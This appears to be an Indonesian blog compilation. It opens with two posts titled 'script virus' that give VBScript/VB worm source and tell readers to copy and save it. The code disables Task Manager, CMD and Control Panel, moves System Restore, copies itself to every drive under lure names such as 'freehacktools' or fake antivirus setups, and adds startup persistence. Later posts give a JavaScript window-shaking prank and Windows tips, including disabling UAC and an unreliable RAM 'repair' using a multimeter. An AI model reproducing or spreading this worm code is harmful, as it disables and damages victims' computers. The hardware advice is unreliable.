script virus lagi

On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell" )
set FSO = CreateObject ("Scripting. FileSystemObject ")
set Creator = FSO.CreateTextFile ("C:\freehacktools. vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Download hacktools gratis :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\NoRun" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableTaskMgr"," 1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableC MD","1"," REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoFolderOption" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoDrives" ,"16","REG_ D WORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoSaveSettings" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoControlPanel" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \NoSetTaskbar" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ Advanced\ HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeCapti on", "THE hacking-X"
Regpen.RegWrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeText" ,"PLEASE DOWNLOAD"

Set Copier = FSO.GetFile ("C:\. vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Adobe. vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12" )
FSO.CreateFolder ("D:\Program" )
FSO.CreateFolder ("E:\Program" )
FSO.CreateFolder ("F:\Program" )
FSO.CreateFolder ("G:\Program" )
FSO.CreateFolder ("H:\Program" )
FSO.CreateFolder ("I:\Program" )
FSO.CreateFolder ("J:\Program" )
FSO.CreateFolder ("K:\Program" )

Set Deleter = FSO.GetFile ("C:\Windows\ System32\ Restore\rstrui. exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\ rstrui.Gnamu" )

set Dupler = FSO.GetFile (WScript.ScriptFull Name)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\ freehacktools.vbs" )
Dupler.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Desktop. ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All
Users\Desktop\ freehacktools_Antivirus .exe.vbs" )
Dupler.Copy ("C:\Windows\ System32\ Restore\rstrui. exe.vbs")
Dupler.Copy ("D:\Program\ MotoGP_SETUP. vbs")
Dupler.Copy ("E:\Program\ TuneUp2009_ SETUP.vbs" )
Dupler.Copy ("F:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("G:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("H:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("I:\Program\ Smadav_SETUP. vbs")
Dupler.Copy ("J:\Program\ Project.vbs" )
Dupler.Copy ("K:\Program\ freehacktools.vbs" )

Set Runner = WScript.CreateObjec t ("WScript.Shell" )
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\ freehacktools.vbs" )

note: copypaste dinote.Trus kasih nama "freehacktools.vbs" save all file
terima kasih

script virus bGUS LAGI

Private Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.fi

lesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

App.TaskVisible = False
App.Title = "WINLOGIN"

FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs"
SD
IE
Buat
End Sub

Sub SD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "modifikasi mio.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "yamaha xeon.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "bore up mio.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "bikin kenceng mio.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "free download hack tolls.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "kata-kata mutiara.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "jupiter mx.vbs"


Next

End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\CML.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mandala.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\user.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mercury.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\REGEDUT.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\USERINOT.vbs"
Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD”
Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt"
End Sub

Sub Buat()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt")
fileADSW.WriteLine ("Dear: midori")
fileADSW.WriteLine ("Kau tak tahu perasaanku sesungguhnya, ya kan....")
fileADSW.WriteLine ("Seberapa besar cintaku padamu ... sampai ga bisa masuk ke hatiku yang kecil ini lho...")
fileADSW.WriteLine ("Seberapa dalam hatiku, aku aja ga tau....")
fileADSW.WriteLine ("Tetaplah kau seperti itu")
fileADSW.WriteLine ("Tetaplah kau senyum padaku, SEMANGAT ^_^")
fileADSW.WriteLine ("Setiap senyum berarti IBADAH pagiMU")
fileADSW.WriteLine ("Membuat diriku slalu mencintaimu selamanya")
fileADSW.WriteLine ("Setiap saat"setiap waktu)
fileADSW.WriteLine ("Senyummu membayangi dalam tidurku")
fileADSW.WriteLine ("Andai ku bisa memilikimu")
fileADSW.WriteLine ("from: ferdi")
End Sub

terima kasih

java script bagus

javascript:function Shw(n) {if(self.moveBy) {for (i= 678; i > O;i--) {for(j = n ; j > O; j --) {self.moveBy(1,i);self.mov

eBy(i,O);self.moveBy(O,-i);self.moveBy(-i,O); } } }}

terima kasih

trikn menghilangkan drive kompi

1. Pilih Start->Run->ketik gpedit.msc, pilih OK

2. Klik double User Configuration-> Administrative Templates -> Windows Components -> Windows Explorer->lihat di jendela sebelah kanan, pilih enable di Hide specified drives in My Computer, lalu tentukan drive yang akan disembunyikan

3. Misalnya disini yang akan disembunyikan adalah drive D, maka pilih Restrict D drive only, pilih Apply dan OK

4. Hasilnya bisa dilihat di Windows Explorer

5. Untuk mengembalikan ke posisi semula, bisa melakukan langkah seperti di atas, lalu pada jendela Hide specified drives in My Computer pilih opsi Not Configured, pilih Apple dan OK 
terima kasih

Trik Shutdown, Restart, dan Hibernate dengan Cepat Kembali ke Pesan Pilih Semua Tidak Memilih Tandai Sudah Dibaca Tandai Belum Dibaca Laporkan Spam Hapus Berhenti Langganan

Jika mungkin Anda terburu-buru ingin melakukan shutdown, restart atau hibernate komputer Windows, namun Anda bingung cara melakukannya dengan cepat, maka mungkin tips dan trik berikut ini dapat membantu Anda.

Windows XP
Untuk Shutdown : tekan tombol Win, tombol huruf U dan U.
Untuk Restart : tekan tombol Win, tombol U dan R.
Untuk Standby : tekan tombol Win, tombol U dan S.
Untuk Hibernate : tekan tombol Win, tombol U dan H.

Windows Vista
Untuk Windows Vista mungkin sedikit lebih rumit.
Untuk sleep : tekan tombol Win, tombol panah kanan, tekan Enter
Untuk Shutdown: tekan tombol Win, tombol panah kanan tiga kali, tombol Enter atau U.
Untuk Restart: tekan tombol Win, tombol panah kanan tiga kali, tombol R.
Untuk Hibernate: tekan tombol Windows, tombol panah kanan tiga kali, tombol H.

Atau juga bisa dengan:
Untuk Shutdown: tekan tombol Win, ketikkan shutdown -s t 0 (diberi spasi) lalu tekan Enter.
Untuk Restart: tekan tombol Win, ketik shutdown -r t 0 , tekan Enter.
Untuk Hibernate: tekan tombol Win, ketik shutdown -h , tekan Enter. 
terima kasih

Repair Your Dead Flash Drive

Ferdi Ardianto 05 Mei jam 18:21

Repair Your Dead Flash Drive

apakah flash disk anda pernah mengalami kasus sperti ini : Windows Was Unable To Format

Bagaimana solusinya :
coba ikuti langkah2 berikut ini:
1st di desktop klik "MY COmputer icon" lalu klik "Manage"

2nd:
kilik pada "Disk Management" lalu klik drive yg di maksud, truz klik kanan, klik lagi di "new partition"


3rd:
akan muncul....Click "Next"

4th:
Click di "Primary Partition" lalu Click "Next"


5th Click "Next"


6th Click "Next"


7th click "this partition with the following settings'


Finally "Click Finish"




Good Luck..Selamat MEncoba
terima kasih

RAM anda rusak...?
pasti bisa di perbaiki,asalkan kondisi RAM anda masih dlm keadaan utuh (belum hangus ataw patah)
ada 2 cara memperbaikinya yaitu:
1.bersihkan pin2 ram dengan cotonbud+minyak tener.agar kotoran-kotoran pada pin RAM keluar
2.ambil avometer,alihkan kearah pengukur ohm, bebas pilih x1,x10,x100.pada kabel warna merah(+)di tancapkan pada salah satu pin RAM sedangkan kabel warnah hitam(-) di gesekan pada semua kaki-kaki IC.karena batre dari avometer dapat membantu mengembalikan arus listrik yg tersumbat pada RAM tersebut.
tinkat keberhasilanya adalah 70%.atau diantara 10 keping RAM anda yg rusak 7 keping pasti berhasil.
ini bisa menghemat uang anda dari pada mengeluarkan uang ratusan ribu... 
terima kasih

Membuat semua Software Kompatibel di Vista/7

Pada posting kali ini saya akan membicarakan tentang windows Vista, bagi anda yang menggunakan Windows Vista mungkin tips ini akan membantu anda. Simak postingannya berikut ini.

Tampilan windows vista memang sangat mempesona seperti bidadari turun dari kahyangan, walaupun mempesona tetapi banyak yang tidak support dengan berbagai macam software. Termasuk software-software kecil banyak yang tidak jalan. Mengapa ini sampai terjadi?

Hal ini terjadi karena fitur keamanan yang berlebihan yang dibawah oleh windows vista sehingga windows vista sering memunculkan beragam peringatan yang ujung-ujungnya gagal dalam instalasi suatu software.

Supaya software bisa compatible dengan windows vista seperti pada windows XP lebih baik jalankan trik dibawah ini :

* Klik Start – Control Panel – User Accounts and Family Safety – User Accounts
* Pilih link Turn User Account Control on or off dan hilangkan tanda centang didepan pilihan Use User Account Control (UAC) to help protect your computer untuk mematikan Account Control (UAC).
* Lalu instal software yang anda inginkan dengan memilih dengan cara klik kanan pada setup program tersebut lalu klik kanan – properties – Run as Administrator.
* Setelah software terinstall jalankan seperti biasa melalui shortcut atau start menu di programs.
* Apabila software gagal terinstall atau tidak bisa dibuka masih ada trik lain lagi yaitu dengan mengklik kanan shotcut software tersebut kemudin pilih properties.
* Di jendela properties pilih tab Compatibility.
* Berikan tanda centang didepan Run this program in compatiblity mode for dan pilih Windows XP (Service Pack 2) pada combo box dibawahnya.

Semoga dengan diberikannya tips ini, anda dapat memperimbangkan kembali untuk pindah ke Windows XP dengan alasan tidak adanya program yang kompatibel dengan windows Vista.

Selamat mencoba..
terima kasih